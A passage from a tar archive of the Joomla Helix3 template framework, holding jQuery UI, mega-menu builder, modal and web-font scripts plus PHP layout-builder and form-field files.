n=s.options,a=!1,o=s.scrollParentNotHidden[0],r=s.document[0];o!==r&&"HTML"!==o.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+o.offsetHeight-t.pageY<n.scrollSensitivity?o.scrollTop=a=o.scrollTop+n.scrollSpeed:t.pageY-s.overflowOffset.top<n.scrollSensitivity&&(o.scrollTop=a=o.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+o.offsetWidth-t.pageX<n.scrollSensitivity?o.scrollLeft=a=o.scrollLeft+n.scrollSpeed:t.pageX-s.overflowOffset.left<n.scrollSensitivity&&(o.scrollLeft=a=o.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(t.pageY-e(r).scrollTop()<n.scrollSensitivity?a=e(r).scrollTop(e(r).scrollTop()-n.scrollSpeed):e(window).height()-(t.pageY-e(r).scrollTop())<n.scrollSensitivity&&(a=e(r).scrollTop(e(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(t.pageX-e(r).scrollLeft()<n.scrollSensitivity?a=e(r).scrollLeft(e(r).scrollLeft()-n.scrollSpeed):e(window).width()-(t.pageX-e(r).scrollLeft())<n.scrollSensitivity&&(a=e(r).scrollLeft(e(r).scrollLeft()+n.scrollSpeed)))),a!==!1&&e.ui.ddmanager&&!n.dropBehaviour&&e.ui.ddmanager.prepareOffsets(s,t)}}),e.ui.plugin.add("draggable","snap",{start:function(t,i,s){var n=s.options;s.snapElements=[],e(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var t=e(this),i=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})})},drag:function(t,i,s){var n,a,o,r,h,l,u,d,c,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,y=i.offset.top,b=y+s.helperProportions.height;for(c=s.snapElements.length-1;c>=0;c--)h=s.snapElements[c].left-s.margins.left,l=h+s.snapElements[c].width,u=s.snapElements[c].top-s.margins.top,d=u+s.snapElements[c].height,h-m>v||g>l+m||u-m>b||y>d+m||!e.contains(s.snapElements[c].item.ownerDocument,s.snapElements[c].item)?(s.snapElements[c].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=!1):("inner"!==f.snapMode&&(n=m>=Math.abs(u-b),a=m>=Math.abs(d-y),o=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||a||o||r,"outer"!==f.snapMode&&(n=m>=Math.abs(u-y),a=m>=Math.abs(d-b),o=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d-s.helperProportions.height,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[c].snapping&&(n||a||o||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=n||a||o||r||p)}}),e.ui.plugin.add("draggable","stack",{start:function(t,i,s){var n,a=s.options,o=e.makeArray(e(a.stack)).sort(function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)});o.length&&(n=parseInt(e(o[0]).css("zIndex"),10)||0,e(o).each(function(t){e(this).css("zIndex",n+t)}),this.css("zIndex",n+o.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("zIndex")&&(a._zIndex=n.css("zIndex")),n.css("zIndex",a.zIndex)},stop:function(t,i,s){var n=s.options;n._zIndex&&e(i.helper).css("zIndex",n._zIndex)}}),e.ui.draggable});                                                                                                                                                                                                                                                                                                                      system/helix3/assets/js/menu.generator.js                                                           0000705                 00000022204 15242051520 0014463 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

jQuery(function($) {

  $('#attrib-spmegamenu').find('.control-group').first().find('.control-label').remove();
  $('#attrib-spmegamenu').find('.control-group').first().find('>.controls').removeClass().addClass('megamenu').unwrap();

  //Section Sortable callbck
  $.fn.sectionSort = function(){
    $(this).sortable({
      items: ".menu-section",
      placeholder: "menu-section-state-highlight",
      forcePlaceholderSize: true,
      opacity: 0.8,
      handle: ".row-move",
      distance: 0.5,
      tolerance: 'pointer',
      start: function(event, ui) {
        ui.placeholder.height(ui.item.height());
      }}).disableSelection();
    };

    $.fn.columnSort = function(){
      $(this).sortable({
        items: '.column',
        placeholder: 'ui-state-highlight',
        opacity: 0.8,
        dropOnEmpty: true,
        distance: 0.5,
        tolerance: 'pointer',
        start: function(event, ui) {
          var plus;
          if(ui.item.hasClass('sp-col-sm-1')) plus = 'sp-col-sm-1'; else
          if(ui.item.hasClass('sp-col-sm-2')) plus = 'sp-col-sm-2'; else
          if(ui.item.hasClass('sp-col-sm-3')) plus = 'sp-col-sm-3'; else
          if(ui.item.hasClass('sp-col-sm-4')) plus = 'sp-col-sm-4'; else
          if(ui.item.hasClass('sp-col-sm-5')) plus = 'sp-col-sm-5'; else
          if(ui.item.hasClass('sp-col-sm-7')) plus = 'sp-col-sm-7'; else
          if(ui.item.hasClass('sp-col-sm-8')) plus = 'sp-col-sm-8'; else
          if(ui.item.hasClass('sp-col-sm-9')) plus = 'sp-col-sm-9'; else
          if(ui.item.hasClass('sp-col-sm-10')) plus = 'sp-col-sm-10'; else
          if(ui.item.hasClass('sp-col-sm-11')) plus = 'sp-col-sm-11'; else
          if(ui.item.hasClass('sp-col-sm-12')) plus = 'sp-col-sm-12'; else
          plus = 'sp-col-sm-6';
          ui.placeholder.addClass(plus);
          ui.placeholder.height(ui.item.height());
        }}).disableSelection();
      };

      function mdouleSortable(){
        $('.modules-container').sortable({
          connectWith: '.modules-container',
          items: '.draggable-module',
          placeholder: 'ui-state-highlight',
          opacity: 0.8,
          dropOnEmpty: true,
          distance: 0.5,
          tolerance: 'pointer'
        });
      };

      $('#megamenulayout').sectionSort();
      $('.spmenu').columnSort();

      mdouleSortable();

      $('.modules-list').find('.draggable-module').draggable({
        connectToSortable: '.modules-container',
        items: '.draggable-module',
        helper: 'clone',
        stop: function( event, ui ) {
          mdouleSortable();
          ui.helper.removeAttr('style');
        }
      });

      // Menu Width
      $('#menuWidth').change(function(){
        var width = $('#menuWidth').val();
        if(width >= 200){
          $('#megamenulayout').css('width',width)
          .data('width',width);
        }else{
          alert("Width can't be less than 200 Pixels");
          $('#menuWidth').val($('#megamenulayout').data('width'));
        }
      });

      // Mega menu alignment
      $('.action-bar').on('click','.alignment',function(event){
        event.preventDefault();

        var $that = $(this);
        $('.alignment').removeClass('active');
        $that.addClass('active');
        $('#megamenulayout').data('menu_align',$(this).data('al_flag'));
      });

      //Modal
      $(document).on('click','.add-layout',function(event){
        event.preventDefault();
        $('#layout-modal').spmodal();
      });

      //Remove Module
      $(document).on('click', '.modules-container .fa-remove', function(event) {
        event.preventDefault();
        $(this).closest('.draggable-module').fadeOut(400).delay(400, function(){
          $(this).remove();
        });
      });

      $('.layout-reset').on('click', function(event) {
        event.preventDefault();
        var $that = $(this);

        var data = {
          action   : 'resetLayout',
          layoutName : $that.data('current_item')
        };

        var request = {
          'option' : 'com_ajax',
          'plugin' : 'helix3',
          'data'   : data,
          'format' : 'raw'
        };

        $.ajax({
          type   : 'POST',
          data   : request,
          dataType: "html",
          success: function (response) {
            if (response) {
              $('#megamenulayout').find('.menu-section').remove();
              $('#megamenulayout').append(response);

              // sorting layout
              $('#megamenulayout').sectionSort();
              $('.spmenu').columnSort();
              mdouleSortable();
            }
          }
        });
      });

      // new layout generator
      $(document).on('click', '#layout-modal a', function(event){
        event.preventDefault();

        if($(this).hasClass('active')){
          return;
        }

        var $that           = $(this),
        newLayoutData   = $that.data('layout'),
        layoutDesign    = $that.data('design'),
        $parent         = $('#layout-modal'),
        oldLayout       = $('#megamenulayout').data('menu_item'),
        newLayout       = [12];

        if(newLayoutData != 12 ){
          newLayout = newLayoutData.split(',');
        }

        if (newLayout.length !== 1 && newLayout.length < oldLayout) {
          alert("You can't add small layout than default layout");
          return;
        }

        var colHtml = [];

        var designString = $('#'+layoutDesign).html();

        $('#megamenulayout').find('.column-items-wrap').each(function(i,val){
          var $that = $(this);
          colHtml[i] = this.innerHTML;
        });

        if (!String.prototype.format) {
          String.prototype.format = function() {
            var args = arguments;
            return this.replace(/{(\d+)}/g, function(match, number) {
              return typeof args[number] != 'undefined'
              ? args[number]
              : '<div class="modules-container"></div>'
              ;
            });
          };
        }

        if (newLayout.length === 1) {
          var html = '';
          for (var i = 0; i < colHtml.length; i++) {

            html += colHtml[i];
          }
          var newLayoutHtml = designString.format(html);
        }else{
          var newLayoutHtml = designString.format(colHtml[0],colHtml[1],colHtml[2],colHtml[3],colHtml[4],colHtml[5]);
        }

        // Manage Modal layout
        $parent.find('.active').removeClass('active');
        $parent.spmodal('hide');
        $(this).addClass('active');

        var $oldLayoutHtml = $('#megamenulayout').find('.menu-section');

        $oldLayoutHtml.remove();
        $('#megamenulayout').append(newLayoutHtml);

        if (newLayout.length === 1) {
          $('#megamenulayout').find('.modules-container').remove();
          $('#megamenulayout').find('.column-items-wrap').append('<div class="modules-container"></div>');
        }

        $('#megamenulayout').sectionSort();
        $('.spmenu').columnSort();
        mdouleSortable();

      });

      document.adminForm.onsubmit = function(event){
        var layout = [];

        // Get each row data;
        $('#megamenulayout').find('.spmenu').each(function(index) {
          var $row = $(this),
          rowIndex = index;
          layout[rowIndex] = {
            'type'      : 'row',
            'attr'      : []
          };

          // Get each column data;
          $row.find('.column').each(function(index) {
            var $column = $(this),
            colIndex = index,
            colGrid = $column.data('column');

            layout[rowIndex].attr[colIndex] = {
              'type'          : 'column',
              'colGrid'       : colGrid,
              'menuParentId'  : '',
              'moduleId'      : ''
            };

            // get current child id
            var menuParentId = '';

            $column.find('h4').each(function(index, el) {
              menuParentId += $(this).data('current_child')+',';
            });

            if (menuParentId) {
              menuParentId = menuParentId.slice(',',-1);
              layout[rowIndex].attr[colIndex].menuParentId = menuParentId;
            }

            // get modules id
            var moduleId = '';
            $column.find('.draggable-module').each(function(index, el) {
              moduleId += $(this).data('mod_id')+',';
            });

            if(moduleId){
              moduleId = moduleId.slice(',',-1);
              layout[rowIndex].attr[colIndex].moduleId = moduleId;
            }
          });
        });

        var initData = $('#megamenulayout').data();

        var menumData = {
          'width'         : initData.width,
          'menuItem'      : initData.menu_item,
          'menuAlign'     : initData.menu_align,
          'layout'        : layout
        };

        var megamenu = 0,
        mega_lenght = $('#megamenulayout').find('.column').length;

        if (mega_lenght > 1) {
          megamenu = 1;
        }

        $('#jform_params_megamenu').val(megamenu);
        $('#jform_params_menulayout').val( JSON.stringify(menumData) );
      }
    });
                                                                                                                                                                                                                                                                                                                                                                                            system/helix3/assets/js/modal.js                                                                    0000705                 00000015050 15242051520 0012627 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /* ========================================================================
 * Bootstrap: modal.js v3.1.1
 * http://getbootstrap.com/javascript/#modals
 * ========================================================================
 * Copyright 2011-2014 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
 * ======================================================================== */


+function ($) {
  'use strict';

  // MODAL CLASS DEFINITION
  // ======================

  var SPModal = function (element, options) {
    this.options   = options
    this.$element  = $(element)
    this.$backdrop =
    this.isShown   = null

    if (this.options.remote) {
      this.$element
        .find('.sp-modal-content')
        .load(this.options.remote, $.proxy(function () {
          this.$element.trigger('loaded.bs.spmodal')
        }, this))
    }
  }

  SPModal.DEFAULTS = {
    backdrop: true,
    keyboard: false,
    show: true
  }

  SPModal.prototype.toggle = function (_relatedTarget) {
    return this[!this.isShown ? 'show' : 'hide'](_relatedTarget)
  }

  SPModal.prototype.show = function (_relatedTarget) {

    $(document.body).addClass('sp-modal-open')

    var that = this
    var e    = $.Event('show.bs.spmodal', { relatedTarget: _relatedTarget })

    this.$element.trigger(e)

    if (this.isShown || e.isDefaultPrevented()) return

    this.isShown = true

    this.escape()

    this.$element.on('click.dismiss.bs.spmodal', '[data-dismiss="spmodal"]', $.proxy(this.hide, this))

    this.backdrop(function () {
      var transition = $.support.transition && that.$element.hasClass('fade')

      if (!that.$element.parent().length) {
        that.$element.appendTo(document.body) // don't move modals dom position
      }

      that.$element
        .show()
        .scrollTop(0)

      if (transition) {
        that.$element[0].offsetWidth // force reflow
      }

      that.$element
        .addClass('in')
        .attr('aria-hidden', false)

      that.enforceFocus()

      var e = $.Event('shown.bs.spmodal', { relatedTarget: _relatedTarget })

      transition ?
        that.$element.find('.sp-modal-dialog') // wait for modal to slide in
          .one($.support.transition.end, function () {
            that.$element.focus().trigger(e)
          })
          .emulateTransitionEnd(300) :
        that.$element.focus().trigger(e)
    })
  }

  SPModal.prototype.hide = function (e) {

    $(document.body).removeClass('sp-modal-open')


    if (e) e.preventDefault()

    e = $.Event('hide.bs.spmodal')

    this.$element.trigger(e)

    if (!this.isShown || e.isDefaultPrevented()) return

    this.isShown = false

    this.escape()

    $(document).off('focusin.bs.spmodal')

    this.$element
      .removeClass('in')
      .attr('aria-hidden', true)
      .off('click.dismiss.bs.spmodal')

    $.support.transition && this.$element.hasClass('fade') ?
      this.$element
        .one($.support.transition.end, $.proxy(this.hideSPModal, this))
        .emulateTransitionEnd(300) :
      this.hideSPModal()
  }

  SPModal.prototype.enforceFocus = function () {
    $(document)
      .off('focusin.bs.spmodal') // guard against infinite focus loop
      .on('focusin.bs.spmodal', $.proxy(function (e) {
        if (this.$element[0] !== e.target && !this.$element.has(e.target).length) {
          this.$element.focus()
        }
      }, this))
  }

  SPModal.prototype.escape = function () {
    if (this.isShown && this.options.keyboard) {
      this.$element.on('keyup.dismiss.bs.spmodal', $.proxy(function (e) {
        e.which == 27 && this.hide()
      }, this))
    } else if (!this.isShown) {
      this.$element.off('keyup.dismiss.bs.spmodal')
    }
  }

  SPModal.prototype.hideSPModal = function () {
    var that = this
    this.$element.hide()
    this.backdrop(function () {
      that.removeBackdrop()
      that.$element.trigger('hidden.bs.spmodal')
    })
  }

  SPModal.prototype.removeBackdrop = function () {
    this.$backdrop && this.$backdrop.remove()
    this.$backdrop = null
  }

  SPModal.prototype.backdrop = function (callback) {
    var animate = this.$element.hasClass('fade') ? 'fade' : ''

    if (this.isShown && this.options.backdrop) {
      var doAnimate = $.support.transition && animate

      this.$backdrop = $('<div class="sp-modal-backdrop ' + animate + '" />')
        .appendTo(document.body)

      /*
      this.$element.on('click.dismiss.bs.spmodal', $.proxy(function (e) {
        if (e.target !== e.currentTarget) return
        this.options.backdrop == 'static'
          ? this.$element[0].focus.call(this.$element[0])
          : this.hide.call(this)
      }, this))
      */

      if (doAnimate) this.$backdrop[0].offsetWidth // force reflow

      this.$backdrop.addClass('in')

      if (!callback) return

      doAnimate ?
        this.$backdrop
          .one($.support.transition.end, callback)
          .emulateTransitionEnd(150) :
        callback()

    } else if (!this.isShown && this.$backdrop) {
      this.$backdrop.removeClass('in')

      $.support.transition && this.$element.hasClass('fade') ?
        this.$backdrop
          .one($.support.transition.end, callback)
          .emulateTransitionEnd(150) :
        callback()

    } else if (callback) {
      callback()
    }
  }


  // MODAL PLUGIN DEFINITION
  // =======================

  var old = $.fn.spmodal

  $.fn.spmodal = function (option, _relatedTarget) {
    return this.each(function () {
      var $this   = $(this)
      var data    = $this.data('bs.spmodal')
      var options = $.extend({}, SPModal.DEFAULTS, $this.data(), typeof option == 'object' && option)

      if (!data) $this.data('bs.spmodal', (data = new SPModal(this, options)))
      if (typeof option == 'string') data[option](_relatedTarget)
      else if (options.show) data.show(_relatedTarget)
    })
  }

  $.fn.spmodal.Constructor = SPModal


  // MODAL NO CONFLICT
  // =================

  $.fn.spmodal.noConflict = function () {
    $.fn.spmodal = old
    return this
  }


  // MODAL DATA-API
  // ==============

  $(document).on('click.bs.spmodal.data-api', '[data-toggle="spmodal"]', function (e) {

    var $this   = $(this)
    var href    = $this.attr('href')
    var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) //strip for ie7
    var option  = $target.data('bs.spmodal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())

    if ($this.is('a')) e.preventDefault()

    $target
      .spmodal(option, this)
      .one('hide', function () {
        $this.is(':visible') && $this.focus()
      })
  })

}(jQuery);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        system/helix3/assets/js/webfont.js                                                                  0000705                 00000010565 15242051520 0013205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
jQuery(function($) {

	//Web Fonts
	$('.list-font-families').on('change', function(event) {

		event.preventDefault();

		var $that = $(this),
		layoutName = $(this).val(),
		data = {
			action : 'fontVariants',
			layoutName : layoutName
		};

		var request = {
			'option' : 'com_ajax',
			'plugin' : 'helix3',
			'data'   : data,
			'format' : 'json'
		};

		$.ajax({
			type   : 'POST',
			data   : request,
			success: function (response) {
				var font = $.parseJSON(response.data);
				$that.closest('.webfont').find('.list-font-weight').html(font.variants);
				$that.closest('.webfont').find('.list-font-subset').html(font.subsets);
			}
		});

		//Change Preview
		var font = $that.val().replace(" ", "+");
		$('head').append("<link href='//fonts.googleapis.com/css?family="+ font +"' rel='stylesheet' type='text/css'>");
		$(this).closest('.webfont').find('.webfont-preview').fadeIn().css('font-family', $(this).val());

		return false;
	});

	//Font Size
	$('.list-font-weight').on('change', function(event) {

		event.preventDefault();

		var variant = $(this).val(),
		weight 	= '',
		style 	= '',
		family 	= $(this).closest('.webfont').find('.list-font-families').val().replace(" ", "+") + ':' + variant

		if(variant=='regular') {
			weight 	= 'regular';
			style 	= '';
		} else if (variant=='italic') {
			weight 	= 'regular';
			style 	= 'italic';
		} else {
			weight = parseInt(variant);
			style = $(this).val().replace(weight, '');
		}

		$('head').append("<link href='//fonts.googleapis.com/css?family="+ family +"' rel='stylesheet' type='text/css'>");
		$(this).closest('.webfont').find('.webfont-preview').fadeIn().css({
			'font-family': $(this).closest('.webfont').find('.list-font-families').val(),
			'font-weight': weight,
			'font-style': style
		});
	});

	//Font Subset
	$('.list-font-subset').on('change', function(event) {

		event.preventDefault();

		var subsets = $(this).val(),
		variant = $(this).closest('.webfont').find('.list-font-weight').val(),
		weight 	= '',
		style 	= '',
		family 	= $(this).closest('.webfont').find('.list-font-families').val().replace(" ", "+") + ':' + variant + '&subset=' + subsets

		if(variant=='regular') {
			weight 	= 'regular';
			style 	= '';
		} else if (variant=='italic') {
			weight 	= 'regular';
			style 	= 'italic';
		} else {
			weight = parseInt(variant);
			style = $(this).val().replace(weight, '');
		}

		$('head').append("<link href='//fonts.googleapis.com/css?family="+ family +"' rel='stylesheet' type='text/css'>");

	});

	//Font Size
	$('.webfont-size').on('change', function(event) {

		event.preventDefault();

		var font_size = $(this).val(),
		subsets = $(this).closest('.webfont').find('.list-font-subset').val(),
		variant = $(this).closest('.webfont').find('.list-font-weight').val(),
		weight 	= '',
		style 	= '',
		family 	= $(this).closest('.webfont').find('.list-font-families').val().replace(" ", "+") + ':' + variant + '&subset=' + subsets

		if(variant=='regular') {
			weight 	= 'regular';
			style 	= '';
		} else if (variant=='italic') {
			weight 	= 'regular';
			style 	= 'italic';
		} else {
			weight = parseInt(variant);
			style = $(this).val().replace(weight, '');
		}

		$('head').append("<link href='//fonts.googleapis.com/css?family="+ family +"' rel='stylesheet' type='text/css'>");
		$(this).closest('.webfont').find('.webfont-preview').fadeIn().css({
			'font-family': $(this).closest('.webfont').find('.list-font-families').val(),
			'font-weight': weight,
			'font-style': style,
			'font-size': $(this).val() + 'px',
			'line-height': '1',
		});

	});

	//Update Fonts list
	$('.btn-update-fonts-list').on('click', function(event){

		event.preventDefault();

		var $that   = $(this),
		data = {
			action : 'updateFonts',
			layoutName : ''
		};

		var request = {
			'option' : 'com_ajax',
			'plugin' : 'helix3',
			'data'   : data,
			'format' : 'raw'
		};

		$.ajax({
			type   : 'POST',
			data   : request,
			beforeSend: function(){
				$that.prepend('<i class="fa fa-spinner fa-spin"></i> ');
			},
			success: function (response) {
				$that.after(response);
				$that.find('.fa-spinner').remove();
				$that.next().delay(1000).fadeOut(300, function(){
					$(this).remove();
				});
			}
		});

		return false;

	});


});
                                                                                                                                           system/helix3/layout/generated.php                                                                  0000705                 00000017063 15242051520 0013251 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

$types = JFolder::files( dirname( __FILE__ ) . '/types', '\.php$', false, true);


foreach ($types as $type) {
  require_once $type;
}

// require_once 'layout-settings/fields-helper.php';
require_once 'layout-settings/row-column-settings.php';

echo RowColumnSettings::getRowSettings($rowSettings);
echo RowColumnSettings::getColumnSettings($columnSettings);

$colGrid = array(
  '12'        => '12',
  '66'        => '6,6',
  '444'       => '4,4,4',
  '3333'      => '3,3,3,3',
  '48'        => '4,8',
  '39'        => '3,9',
  '363'       => '3,6,3',
  '264'       => '2,6,4',
  '210'       => '2,10',
  '57'        => '5,7',
  '237'       => '2,3,7',
  '255'       => '2,5,5',
  '282'       => '2,8,2',
  '2442'      => '2,4,4,2',
);

?>
<div class="hidden">
  <div class="save-box">
    <div class="form-group">
      <label>
        <?php echo JText::_('HELIX_ENTER_LAYOUT_NAME'); ?>
        <input class="form-control addon-input addon-name" type="text" data-attrname="layout_name" value="" placeholder="">
      </label>
    </div>
  </div>
</div>

<!-- Modal for all -->

<div class="sp-modal" id="layout-modal" tabindex="-1" role="dialog" aria-labelledby="modal-label" aria-hidden="true">
  <div class="sp-modal-dialog">
    <div class="sp-modal-content">
      <div class="sp-modal-header">
        <button type="button" class="close" data-dismiss="spmodal" aria-hidden="true">&times;</button>
        <h3 class="sp-modal-title" id="modal-label"></h3>
      </div>
      <div class="sp-modal-body"></div>
      <div class="sp-modal-footer clearfix">
        <a href="javascript:void(0)" class="sppb-btn sppb-btn-success pull-left" id="save-settings" data-dismiss="spmodal"><?php echo JText::_('HELIX_APPLY'); ?></a>
        <button class="sppb-btn sppb-btn-danger pull-left" data-dismiss="spmodal" aria-hidden="true"><?php echo JText::_('HELIX_CANCEL'); ?></button>
      </div>
    </div>
  </div>
</div>

<div class="hidden">
  <div id="layoutbuilder-section">
    <div class="settings-section clearfix">

      <div class="settings-left pull-left">
        <a class="row-move" href="#"><i class="fa fa-arrows"></i></a>
        <strong class="section-title"><?php echo JText::_('HELIX_SECTION_TITLE'); ?></strong>
      </div>

      <div class="settings-right pull-right">
        <ul class="button-group">
          <li>
            <a class="btn btn-small add-columns" href="#"><i class="fa fa-columns"></i> <?php echo JText::_('HELIX_ADD_COLUMNS'); ?></a>
            <ul class="column-list">
              <?php
              foreach ($colGrid as $key => $grid){
                $active = ($key==12) ? ' active' : '';
                echo '<li><a href="#" class="column-layout hasTooltip column-layout-' .$key. $active .'" data-layout="'.$grid.'" data-original-title="<strong>'.$grid.'</strong>"></a></li>';
                $active = '';
              }
              ?>
              <li><a href="#" class="hasTooltip column-layout-custom column-layout custom <?php echo $active; ?>" data-layout="" data-type='custom' data-original-title="<strong>Custom Layout</strong>"></a></li>
            </ul>
          </li>
          <li><a class="btn btn-small add-row" href="#"><i class="fa fa-bars"></i> <?php echo JText::_('HELIX_ADD_ROW'); ?></a></li>
          <li><a class="btn btn-small row-ops-set" href="#"><i class="fa fa-gears"></i> <?php echo JText::_('HELIX_SETTINGS'); ?></a></li>
          <li><a class="btn btn-danger btn-small remove-row" href="#"><i class="fa fa-times"></i> <?php echo JText::_('HELIX_REMOVE'); ?></a></li>
        </ul>
      </div>

    </div>
    <div class="row ui-sortable">
      <div class="layout-column col-sm-12">
        <div class="column">
          <h6 class="col-title pull-left"><?php echo JText::_('HELIX_NONE'); ?></h6>
          <a class="col-ops-set pull-right" href="#" ><i class="fa fa-gears"></i></a>
        </div>
      </div>
    </div>
  </div>
</div>

<div class="clearfix"></div>

<!-- Layout Builder Section -->
<div id="helix-layout-builder" >
  <?php

  if ($layout_data) {
    foreach ($layout_data as $row) {
      $rowSettings = RowColumnSettings::getSettings($row->settings);
      $name = JText::_('HELIX_SECTION_TITLE');

      if (isset($row->settings->name)) {
        $name = $row->settings->name;
      }
      ?>
      <div class="layoutbuilder-section" <?php echo $rowSettings; ?>>
        <div class="settings-section clearfix">
          <div class="settings-left pull-left">
            <a class="row-move" href="#"><i class="fa fa-arrows"></i></a>
            <strong class="section-title"><?php echo $name; ?></strong>
          </div>

          <div class="settings-right pull-right">
            <ul class="button-group">
              <li>
                <a class="btn btn-small add-columns" href="#"><i class="fa fa-columns"></i> <?php echo JText::_('HELIX_ADD_COLUMNS'); ?></a>
                <ul class="column-list">
                  <?php
                  $active = '';
                  foreach ($colGrid as $key => $grid){
                    if($key == $row->layout){
                      $active = 'active';
                    }
                    echo '<li><a href="#" class="column-layout hasTooltip column-layout-' .$key. ' '.$active.'" data-layout="'.$grid.'" data-original-title="<strong>'.$grid.'</strong>"></a></li>';
                    $active ='';
                  } ?>

                  <?php
                  $customLayout = '';
                  if (!isset($colGrid[$row->layout])) {
                    $active = 'active';
                    $split = str_split($row->layout);
                    $customLayout = implode(',',$split);
                  }
                  ?>
                  <li><a href="#" class="hasTooltip column-layout-custom column-layout custom <?php echo $active; ?>" data-layout="<?php echo $customLayout; ?>" data-type='custom' data-original-title="<strong>Custom Layout</strong>"></a></li>
                </ul>
              </li>
              <li><a class="btn btn-small add-row" href="#"><i class="fa fa-bars"></i> <?php echo JText::_('HELIX_ADD_ROW'); ?></a></li>
              <li><a class="btn btn-small row-ops-set" href="#"><i class="fa fa-gears"></i> <?php echo JText::_('HELIX_SETTINGS'); ?></a></li>
              <li><a class="btn btn-danger btn-small remove-row" href="#"><i class="fa fa-times"></i> <?php echo JText::_('HELIX_REMOVE'); ?></a></li>
            </ul>
          </div>
        </div>
        <div class="row ui-sortable">
          <?php foreach ($row->attr as $column) { $colSettings = RowColumnSettings::getSettings($column->settings); ?>
            <div class="<?php echo $column->className; ?>" <?php echo $colSettings; ?>>
              <div class="column">
                <?php if (isset($column->settings->column_type) && $column->settings->column_type) {
                  echo '<h6 class="col-title pull-left">Component</h6>';
                }else{
                  if (!isset($column->settings->name)) {
                    $column->settings->name = 'none';
                  }
                  echo '<h6 class="col-title pull-left">'.$column->settings->name.'</h6>';
                }
                ?>
                <a class="col-ops-set pull-right" href="#" ><i class="fa fa-gears"></i></a>
              </div>
            </div>
          <?php } ?>
        </div>
      </div>
      <?php
    }
  }
  ?>
</div>

<div class="clearfix"></div>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                             system/helix3/layout/types/media.php                                                                0000705                 00000002740 15242051520 0013532 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2015 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/  

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class SpTypeMedia
{
	static function getInput($key, $attr)
	{

		if(!isset($attr['std'])){
			$attr['std'] = '';
		}

		if($attr['std']!='') {
			$src = 'src="' . JURI::root() .  $attr['std'] . '"';
		} else {
			$src = '';
		}

		JHtml::_('behavior.modal');
		JHtml::_('jquery.framework');
		
		$output  = '<div class="form-group">';
		$output .= '<label>' . $attr['title'] . '</label>';
		$output .= '<div class="media">';

		$output .= '<div class="media-preview add-on">';
		$output .= '<div class="image-preview">';
		$output .= '<img class="media-preview" ' . $src . ' alt="" height="100px">';
		$output .= '</div>';
		$output .= '</div>';

		$output .= '<input type="hidden" data-attrname="'.$key.'" class="input-media addon-input" value="'.$attr['std'].'">';
		$output .= '<a class="modal sppb-btn sppb-btn-primary" title="Select" rel="{handler: \'iframe\', size: {x: 800, y: 500}}">Select</a>';
		$output .= ' <a class="sppb-btn sppb-btn-danger remove-media" href="#"><i class="icon-remove"></i></a>';
		$output .= '</div>';

		if( ( isset($attr['desc']) ) && ( isset($attr['desc']) != '' ) )
		{
			$output .= '<p class="help-block">' . $attr['desc'] . '</p>';
		}

		$output .= '</div>';

		return $output;

	}
}
                                system/helix3/layout/types/text.php                                                                 0000705                 00000001643 15242051520 0013440 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2015 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/  

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class SpTypeText{

	static function getInput($key, $attr)
